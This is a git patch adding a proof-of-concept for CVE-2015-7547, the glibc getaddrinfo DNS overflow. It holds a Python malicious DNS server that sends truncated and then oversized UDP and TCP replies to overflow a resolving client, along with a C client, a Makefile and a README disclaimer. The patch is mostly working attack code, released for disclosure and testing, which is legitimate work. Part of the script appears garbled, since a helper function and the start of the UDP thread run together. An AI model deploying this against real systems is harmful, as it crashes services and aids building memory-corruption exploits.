From 3225c9621691b5349efd5efa89bd70914e3085ee Mon Sep 17 00:00:00 2001 From: "Fermin J. Serna" Date: Mon, 15 Feb 2016 17:01:27 -0800 Subject: [PATCH] CVE-2015-7547 PoC commit --- CVE-2015-7547-client.c | 38 +++++++++ CVE-2015-7547-poc.py | 178 +++++++++++++++++++++++++++++++++++++++++ Makefile | 7 ++ README | 14 ++++ 4 files changed, 237 insertions(+) create mode 100644 CVE-2015-7547-client.c create mode 100755 CVE-2015-7547-poc.py create mode 100644 Makefile create mode 100644 README diff --git a/CVE-2015-7547-client.c b/CVE-2015-7547-client.c new file mode 100644 index 0000000..ecd6e30 --- /dev/null +++ b/CVE-2015-7547-client.c @@ -0,0 +1,38 @@ +/* Copyright 2016 Google Inc +* +* Licensed under the Apache License, Version 2.0 (the "License"); +* you may not use this file except in compliance with the License. +* You may obtain a copy of the License at +* +* http://www.apache.org/licenses/LICENSE-2.0 +* +* Unless required by applicable law or agreed to in writing, software +* distributed under the License is distributed on an "AS IS" BASIS, +* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +* See the License for the specific language governing permissions and +* limitations under the License. +* +*/ + +#include +#include +#include +#include +#include +#include + +int +main(void) +{ + struct addrinfo hints, *res; + int r; + + memset(&hints, 0, sizeof(hints)); + hints.ai_socktype = SOCK_STREAM; + + if ((r = getaddrinfo("foo.bar.google.com", "22", + &hints, &res)) != 0) + errx(1, "getaddrinfo: %s", gai_strerror(r)); + + return 0; +} diff --git a/CVE-2015-7547-poc.py b/CVE-2015-7547-poc.py new file mode 100755 index 0000000..40188b3 --- /dev/null +++ b/CVE-2015-7547-poc.py @@ -0,0 +1,178 @@ +#!/usr/bin/python +# +# Copyright 2016 Google Inc +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Authors: +# Fermin J. Serna +# Gynvael Coldwind +# Thomas Garnier + +import socket +import time +import struct +import threading + +IP = '127.0.0.1' # Insert your ip for bind() here... +ANSWERS1 = 184 + +terminate = False +last_reply = None +reply_now = threading.Event() + + +def dw(x): + return struct.pack('>H', x) + +def dd(x): + return struct.pack('>I', x) + +def dl(x): + return struct.pack('H', data[0:2])[0] + query_udp = data[12:] + + # Send truncated flag... so it retries over TCP + data = dw(id_udp) # id + data += dw(0x8380) # flags with truncated set + data += dw(1) # questions + data += dw(0) # answers + data += dw(0) # authoritative + data += dw(0) # additional + data += query_udp # question + data += '\x00' * 2500 # Need a long DNS response to force malloc + + answers.append((data, addr)) + + if len(answers) != 2: + continue + + counter += 1 + + if counter % 4 == 2: + answers = answers[::-1] + + time.sleep(0.01) + sock_udp.sendto(*answers.pop(0)) + reply_now.wait() + sock_udp.sendto(*answers.pop(0)) + + sock_udp.close() + + +def tcp_thread(): + global terminate + counter = -1 + + #Open TCP socket + sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock_tcp.bind((IP, 53)) + sock_tcp.listen(10) + + while not terminate: + conn, addr = sock_tcp.accept() + counter += 1 + print 'Connected with ' + addr[0] + ':' + str(addr[1]) + + # Read entire packet + data = conn.recv(1024) + print '[TCP] Total Data len recv ' + str(len(data)) + + reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) + print '[TCP] Request1 len recv ' + str(reqlen1) + data1 = data[2:2+reqlen1] + id1 = struct.unpack('>H', data1[0:2])[0] + query1 = data[12:] + + # Do we have an extra request? + data2 = None + if len(data) > 2+reqlen1: + reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) + print '[TCP] Request2 len recv ' + str(reqlen2) + data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] + id2 = struct.unpack('>H', data2[0:2])[0] + query2 = data2[12:] + + # Reply them on different packets + data = '' + data += dw(id1) # id + data += dw(0x8180) # flags + data += dw(1) # questions + data += dw(ANSWERS1) # answers + data += dw(0) # authoritative + data += dw(0) # additional + data += query1 # question + + for i in range(ANSWERS1): + answer = dw(0xc00c) # name compressed + answer += dw(1) # type A + answer += dw(1) # class + answer += dd(13) # ttl + answer += dw(4) # data length + answer += 'D' * 4 # data + + data += answer + + data1_reply = dw(len(data)) + data + + if data2: + data = '' + data += dw(id2) + data += 'B' * (2300) + data2_reply = dw(len(data)) + data + else: + data2_reply = None + + reply_now.set() + time.sleep(0.01) + conn.sendall(data1_reply) + time.sleep(0.01) + if data2: + conn.sendall(data2_reply) + + reply_now.clear() + + sock_tcp.shutdown(socket.SHUT_RDWR) + sock_tcp.close() + + +if __name__ == "__main__": + + t = threading.Thread(target=udp_thread) + t.daemon = True + t.start() + tcp_thread() + terminate = True + diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..294487e --- /dev/null +++ b/Makefile @@ -0,0 +1,7 @@ +all: client + +client: + gcc -o CVE-2015-7547-client CVE-2015-7547-client.c + +clean: + rm -f CVE-2015-7547-client diff --git a/README b/README new file mode 100644 index 0000000..fe5e6a9 --- /dev/null +++ b/README @@ -0,0 +1,14 @@ +We are providing this code as-is. You are responsible for protecting yourself, +your property and data, and others from any risks caused by this code. This +code may cause unexpected and undesirable behavior to occur on your machine. +This code may not detect the vulnerability on your system. + +Note that this POC consists of two components: server code and client code. +The server code triggers the vulnerability and therefore will crash the client +code. Note also that it is necessary to set the nameserver to point to the +server code, and doing so could cause other programs that call into the +getaddrinfo() function to crash while testing is underway. This POC code is +provided "as is" with no warranties, whether express or implied, including +without limitation any warranties or merchantability, fitness for a particular +use and noninfringement. Google assumes no responsibility for your proper +installation and use of the POC code.